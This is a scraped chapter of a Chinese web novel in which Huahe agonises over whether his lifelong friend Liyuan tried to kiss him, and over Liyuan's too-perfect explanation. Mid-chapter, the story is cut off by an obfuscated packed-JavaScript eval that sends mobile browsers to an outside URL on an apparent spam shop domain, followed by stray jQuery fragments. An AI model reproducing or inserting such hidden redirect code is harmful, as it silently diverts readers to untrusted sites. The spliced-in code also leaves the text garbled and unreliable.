花贺不知道自己应该摆出什么表情,很呆滞。

    栗原好像是在开玩笑。

    可因为这个玩笑太真,真得让花贺心里发毛。

    脸颊上被指腹摩挲的痒,另一个人呼吸的灼热,依旧残存,过于明显,让花贺没办法忽视。

    他的心脏跳得很快,快得花贺担心一张嘴,就会有自己也意想不到的东西跳出来。

    他难得开始害怕,觉得自己真问栗原刚刚在干什么,现在所有的一切都会颠覆。所以缓了一会儿,也跟着笑:“哈哈哈当然了。”

    他强调,“我们又不是同性恋。”

    栗原:“嗯。”

    打开车门,“到家了,下车吧。”

    花贺下了车。

    踩到地上时有些眩晕,自己缓了缓,站直了。

    停车场灯很亮,花贺被这样照了一下,跟被泡进冰水一样,完全精神了。

    上了电梯,栗原按了电梯键,又往里走了两步,站在角落里。

    电梯里只有他们两个人,花贺就站在电梯正中间,电梯门关上,映出角落里栗原的脸。

    很冷,眉头微微皱着。

    换了个环境,刚刚发生的一切好像就是梦一场。

    看到栗原这样,花贺想到的不是刚刚在车里的事情,而是晚饭时候栗原喝的那些酒。

    自己喝了,栗原也喝了。自己都觉得头晕难受呢,栗原大概也不舒服。

    他问:“你晚上喝那么多,是不是不舒服。”

    栗原定睛看他,说:“嗯,喝多了,下次不喝了。”

    想到栗原就是喝醉了,花贺那颗心又落到地上。

    他又开始觉得自己大惊小怪想太多,因为前些天了解太多男同性恋的情况,就杯弓蛇影看什么都脏。

    他和栗原那么多年的友情,栗原喜欢什么样的他能不知道吗。他又不是天仙下凡,还能把栗原掰弯了?

    非要那样扭扭捏捏,反而很奇怪。

    花贺这样安慰自己,又重新轻松下来,他问栗原:“你刚刚在车上干嘛呢?我睡着了你突然要亲我,吓死我了。”

    栗原看了他一眼,深吸一口气,移开视线:“你也太不经吓了。”

    花贺:“你不懂!你被男人亲一下,感觉胡茬扎脸,你就明白了。”

    栗原:“我不懂,我没被亲过。”

    花贺:“来来来,我让你尝一下被男人亲的滋味。”

    说完,又后悔了,嫌弃自己嘴快。

    可话都说出去了。

    而且,抱着一点自己都没察觉到的试探意味,他还是靠近栗原。

    他很刻意撅嘴,试图让自己看起来很难看很猥琐。

    栗原定定看他,手心贴在他脸上,把他推开:“滚。”

    被推开了。

    花贺放下心,沾沾自喜:“恶心吧?”

    栗原:“滚远点。”

    花贺爽了。

    电梯到达家里的楼层,他脚步轻快离开,打开家门,和栗原说了明天见,回到自己房间。

    洗漱,睡觉。

    可躺到床上,越躺越清醒。

    他试图回忆电梯里栗原嫌弃的表情和语气,让自己知道今天晚上发生的一切只是栗原的恶作剧。

    可回忆越清晰,他心里越没底。

    因为之前有过差点和栗原闹掰的情况,他知道栗原心思重,所以有意无意地会关注栗原的情况,方便及时推测出栗原的情绪。免得在自己不知道的时候又让栗原生气,导致兄弟情义消失。

    平时不会想,可一旦真开始细想,就能记起栗原每一个表情,每一个细节。

    ——

    他问栗原是不是想亲自己。

    栗原没有否认。

    他问栗原被男人亲是不是恶心。

    栗原也没有附和。

    ……

    花贺的心又扑通扑通跳起来。

    他崩溃抱住自己的头,表情惊恐。

    现在,要么就是栗原还在和自己开玩笑故意吓自己。

    要么,事情好像有点完蛋。

    =

    一直在想晚上发生的事,不仅是电梯里,车里,甚至开始回忆晚饭时的场景,回忆栗原说的每一句证明他们情投意合两情相悦的话。

    之前听的时候只想附和,只把那些话当作需要记下来圆上的谎话。

    但现在就开始觉得,栗原说那些话的时候,是不是真心的。

    ……

    一直在想,不知道几点才睡着。

    第二天醒来,昨晚的酒和过短的睡眠时间,合成一把利剑,狠狠搅着花贺的脑子。

    花贺躺了一会儿,睡了回笼觉,起床,洗漱。

    栗原不在家,客厅桌子上放着早餐。

    他没看到栗原,不确定地喊了声:“栗子?”

    没人回。

    他又放大声音:“栗原?”

    还是没人应。

    打开早餐,拍了张照片,摸出手机,把早餐照片发给栗原,问他:“你不在家吗。”

    栗原没回。

    早餐是关东煮酱肉包鸡肉串和牛奶。

    花贺没胃口,只吃了一点,吃完就在家里乱转,确定栗原不在家里。

    栗原不在家,都没和他说一声。

    就算是因为他当时在睡觉不想打扰他,起码也要发条消息吧。

    可栗原居然一声不吭。

    花贺很难不把栗原今天的沉默和昨晚的事联系起来。

    他想,是不是自己做错事,栗原生气了?

    可是……自己昨天晚上就是惊讶又害怕啊。就连现在,自己都不知道栗原到底是怎么想的。

    他气闷,坐回去,接着吃饭。

    没了栗原,家里出奇安静。他无所事事起来,打算喊朋友打游戏。

    可是翻了翻联系人,又犹豫起来。

    花贺很多朋友。他上学会认识朋友,打游戏会认识朋友,在网上和人吵架也会认识朋友。

    因为认识的人很多,认识这些人的契机也不同,所以他心里其实会给朋友分类。上学认识的朋友说学校和学习的事,可以一起打游戏一起玩。打游戏认识的朋友就打游戏,分享游戏攻略。网上认识的朋友分享弱智视频和搞笑段子。只有和朋友玩的时间够久,他才会和朋友说一些家庭或者生活里很私密的事情。

    多久的时间才算是久呢?

    花贺找不到标准。因为他有栗原这么一个真从小玩到大的朋友。

    后来他把栗原当标准。

    栗原是他朋友圈最核心的那个圈。

    有栗原百分之八十和缘的,就是兄弟。

    有栗原百分之六十和缘的,就是好朋友。

    有栗原百分之四十的,就是朋友。

    剩下的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974668|214726||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那些,就是见面打个招呼的泛泛之交。

    所以,他现在翻着那些联系人,就犹豫起来。

    两个室友结伴过中秋,自己现在找他们,难保他们不会问自己为什么中秋节不和家人栗原玩,而是一个人打游戏。

    去找游戏好友吧,他们应该也在和家人过节。

    花贺最后谁也没联系,坐在沙发上发呆。

    太无聊了。他想回家了。

    昨天晚上他就想回家,但是怕栗原自己在这儿无聊,为了陪栗原才回来的,谁知道栗原居然走了。

    他起身,打算走。

    手机响了。

    低头看。

    是栗原的电话。

    花贺又重新坐下,接起电话。

    “醒了?”

    花贺:“嗯,你不在家干嘛去了?”

    “我有事要忙,早饭吃了吗?凉了的话你加热一下再吃。”

    花贺抱怨:“吃了。你有事要忙怎么不和我说一声,我醒来发现家里只剩我一个人。”

    “连消息都不发。”

    栗原:“我怕你手机开声音,发消息会吵醒你。走之前给你留了字条。”

    花贺:“没有。”

    栗原:“嗯?”

    “手机没有开声音,也没有字条!”

    栗原:“有啊,用关东煮盒子压着。”

    花贺拿起关东煮盒子,确定:“没有。”

    栗原:“真没有?”

    花贺没说话,开始翻垃圾桶。

    垃圾桶里有他刚刚丢进去的包子纸袋和肉串纸袋,他一一捡起来,找到了一张纸条。

    “我有事出去一趟,你记得吃饭,晚上想吃什么给我发消息,我大概六点回来。”

    花贺看着这张纸条,说:“没有。”

    栗原听出什么,说:“你是不是眼瞎?”

    花贺:“我刚睡醒眼睛花没看到嘛!我又没睡好,眼睛疼。不跟你说了,你忙你的去吧,我晚上要吃学校门口那家烧烤店的香锅鱼和烤鸡,还要一个烤饼。”

    栗原:“好。”

    却没挂电话。

    一时间只剩下两人的呼吸声。

    花贺隐隐觉得栗原还有话要说,屏住呼吸,等栗原的声音。

    果然,栗原笑了笑,问他:“胆子这么小,吓你一下,就睡不好了?”

    “好了,我昨天喝多了,想跟你搞个恶作剧,看你睡得很香,想亲你一下,等你醒来告诉你,看你是什么反应。没想到还没开始你就醒了。”

    “你不用想了,也不用害怕。”

    栗原保证:“我们是最好的朋友。我不会做恶心的同性恋的。”

    花贺:“哦。”

    栗原:“你先找其他朋友玩一会儿,我六点就回去,给你带香锅鱼和烧鸡。”

    花贺:“……”

    “还有烤饼。”

    “好好好。”

    电话挂断。

    花贺看着手机。

    他想,栗原给出了完美的解释,自己应该可以相信,可以不用担心他们的友谊变质了。

    可是……

    心里的声音却在扭曲尖叫,越发崩溃。

    栗原的解释太完美了。

    栗原向父母保证他们的婚姻是为了爱情时,也是这么完美。

    ……

    ……

    真完蛋了。